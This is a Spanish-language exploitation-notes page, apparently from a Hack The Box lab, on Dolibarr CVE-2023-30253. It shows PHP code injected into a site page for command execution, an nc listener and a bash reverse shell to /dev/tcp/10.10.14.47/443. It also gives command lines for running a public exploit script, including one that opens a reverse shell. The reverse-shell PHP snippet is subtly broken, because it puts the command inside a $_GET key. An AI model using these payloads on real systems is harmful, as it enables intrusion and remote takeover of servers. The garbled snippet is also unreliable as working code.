> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/dolibarr-cms-exploitation.md).

# Dolibarr

Notas de explotación de Dolibarr CMS CVE-2023-30253 para ejecución de comandos, inyección manual de PHP y reverse shell.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Inicio de sesión sin autenticación:** Un intento de inicio de sesión con credenciales aleatorias abre una sesión de administrador, pero sin permisos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Explotación manual**

**Creación de un sitio malicioso:**

En la sección de creación del sitio, inserte código PHP malicioso:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

Se confirma la ejecución de comandos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**Shell inversa:**

Inicie una escucha:

```bash
nc -nvlp 443
```

Código de shell inversa de PHP:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Explotación automatizada**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Instalar dependencias :**

```bash
pip3 install -r requirements.txt 
```

**Ejecutar el script :**

Prueba de comando (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell inversa

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>


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